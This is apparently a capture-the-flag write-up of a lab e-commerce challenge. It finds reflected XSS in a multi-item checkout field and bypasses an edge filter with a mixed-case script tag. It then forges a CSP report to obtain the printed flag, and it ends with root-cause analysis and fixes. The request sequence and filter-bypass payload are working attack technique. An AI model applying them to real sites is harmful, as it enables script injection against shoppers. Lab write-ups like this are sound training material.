Unsoakable is a small Riptide water blaster shop. It has product pages, a cart, and a checkout flow that returns an order confirmation page.
The challenge text was the real hint:
Riptide started in a garage with two pump cannons and a garden hose, then got popular faster than anyone planned. The checkout was stitched together over one wet summer and it works fine. Whether it minds its manners with everything you hand it is another question.
The phrases that stood out were:
two pump cannons and a garden hosecheckout was stitched togethereverything you hand it
That sounded like a checkout parameter handling issue, especially around multi-item orders.
The site looked like a normal e-commerce storefront for water blasters.
The visible categories were:
Automatic
Pump
Pistol
Each product page had an add-to-cart form that submitted a SKU to /cart.php.
The add-to-cart request looked like this:
POST /cart.php
Content-Type: application/x-www-form-urlencoded
action=add&sku=RT-A1After adding a product, the cart page showed the item and a checkout button.
At this point I started looking at the actual checkout request in Burp, because the description specifically pointed at the checkout.
With one item in the cart, the checkout form submitted one hidden field named product.
The form looked like this:
<form method="post" action="/buy.php" class="rt-checkout">
<input type="hidden" name="product" value="Auto-Nine">
<button class="rt-btn rt-btn--cta rt-btn--block" type="submit">Place order</button>
</form>So the normal single-item checkout request was:
POST /buy.php
Content-Type: application/x-www-form-urlencoded
product=Auto-NineThe confirmation page reflected the product name back into the order list.
That gave me a reflection point to test.
I first tried a harmless HTML payload in the product parameter:
POST /buy.php
Content-Type: application/x-www-form-urlencoded
product=%3Cb%3ESINGLE%3C%2Fb%3EDecoded, this is:
<b>SINGLE</b>The response escaped the HTML:
<li class="rt-thanks__item">
<b>SINGLE</b>
</li>So the single product parameter was not the vulnerable path.
The hint mentioned multiple items, so I added more than one product to the cart.
With multiple items, the checkout form changed. Instead of one product field, the application used products[].
The form looked like this:
<form method="post" action="/buy.php" class="rt-checkout">
<input type="hidden" name="products[]" value="Auto-Nine">
<input type="hidden" name="products[]" value="Deluge Pump Cannon">
<input type="hidden" name="products[]" value="Squall Mini">
<button class="rt-btn rt-btn--cta rt-btn--block" type="submit">Place order</button>
</form>This was the important difference.
The checkout had two paths:
product= single item
products[]= multiple items
Since the single-item path escaped HTML correctly, I tested whether the multi-item path did the same.
I sent a bold tag through products[]:
POST /buy.php
Content-Type: application/x-www-form-urlencoded
products[]=%3Cb%3EMULTI%3C%2Fb%3E&products[]=okDecoded:
products[]=<b>MULTI</b>&products[]=okThis time, the response reflected the HTML raw:
<li class="rt-thanks__item">
<b>MULTI</b>
</li>
<li class="rt-thanks__item">
ok
</li>That confirmed the bug: products[] was not being escaped before being inserted into the confirmation page.
The next step was to turn raw HTML reflection into JavaScript execution.
Obvious XSS payloads were blocked by the edge filter:
<script>alert(1)</script><svg onload=alert(1)><img src=x onerror=alert(1)>The filter was not very deep, though. A mixed-case script tag passed:
<sCrIpT>alert(1)</sCrIpT>HTML tag names are case-insensitive, so the browser still treats sCrIpT as script.
The working request was:
POST /buy.php
Content-Type: application/x-www-form-urlencoded
products[]=%3CsCrIpT%3Ealert(1)%3C%2FsCrIpT%3EThe confirmation page reflected it like this:
<ul class="rt-thanks__list">
<li class="rt-thanks__item">
<sCrIpT>alert(1)</sCrIpT>
</li>
</ul>When the page rendered in Firefox, the payload executed.
At this point, the reflected XSS was confirmed.
The confirmation page included this script:
<script src="/static/js/poll.js"></script>That script polled:
GET /__status.phpBefore solving, the status response was:
{"solved":false,"flag":null}The response headers also exposed a report-only CSP with a report endpoint:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; style-src 'self'; font-src 'self'; img-src 'self' data:; base-uri 'none'; form-action 'self'; report-uri /__csp-report.phpThe important part was:
report-uri /__csp-report.phpThat meant the app expected CSP violation reports at /__csp-report.php.
Since the exploit used inline script, I sent a CSP report containing the reflected script sample.
The solve request was:
POST /__csp-report.php
Content-Type: application/csp-report
{
"csp-report": {
"document-uri": "https://[[lab]].webverselabs-pro.com/buy.php",
"violated-directive": "script-src-elem",
"blocked-uri": "inline",
"script-sample": "<sCrIpT>alert(1)</sCrIpT>"
}
}After sending the report, I checked /__status.php again.
The application returned:
{"solved":true,"flag":"WEBVERSE{f150e473fa1bb115fe5e41efc2a987c6}"}WEBVERSE{f150e473fa1bb115fe5e41efc2a987c6}
The root cause was inconsistent output encoding between two checkout paths.
The single-item path used:
product=and escaped HTML before rendering it.
The multi-item path used:
products[]=but reflected each submitted value directly into the HTML response.
So this was safe:
<b>SINGLE</b>but this was unsafe:
<b>MULTI</b>Hidden fields were also treated as trusted order data, but hidden fields are still fully attacker-controlled.
The confirmed vulnerability was reflected XSS in the checkout confirmation page.
An attacker who can get a victim to submit or visit a crafted checkout response could execute JavaScript in the victim's browser on the Riptide origin.
In a real application, this could lead to:
- Same-origin actions as the victim
- Reading sensitive page content
- Stealing non-HttpOnly tokens
- Modifying cart or account actions
- Pivoting into other authenticated workflows
In this challenge, the XSS was used to produce a CSP report and retrieve the flag.
The fix is to treat every checkout field as untrusted and escape it consistently.
Recommended fixes:
- Escape all values from
products[]before rendering - Use the same rendering helper for
productandproducts[] - Do not trust hidden form fields for product names
- Build the order summary from server-side cart state instead of submitted product names
- Validate submitted SKUs against a server-side product list
- Keep CSP, but do not rely on edge filtering as the primary XSS defense
- Add regression tests for both single-item and multi-item checkout XSS payloads
The challenge hint pointed at the checkout and multi-item handling.
The single-item checkout parameter:
product=escaped HTML correctly.
The multi-item checkout parameter:
products[]=reflected submitted values raw.
A mixed-case script tag bypassed the edge filter:
<sCrIpT>alert(1)</sCrIpT>Submitting it through products[] executed JavaScript on the order confirmation page.
The flag was then retrieved by sending a CSP report for that inline script to:
POST /__csp-report.phpThis was a reflected XSS caused by inconsistent output encoding in the multi-item checkout path.



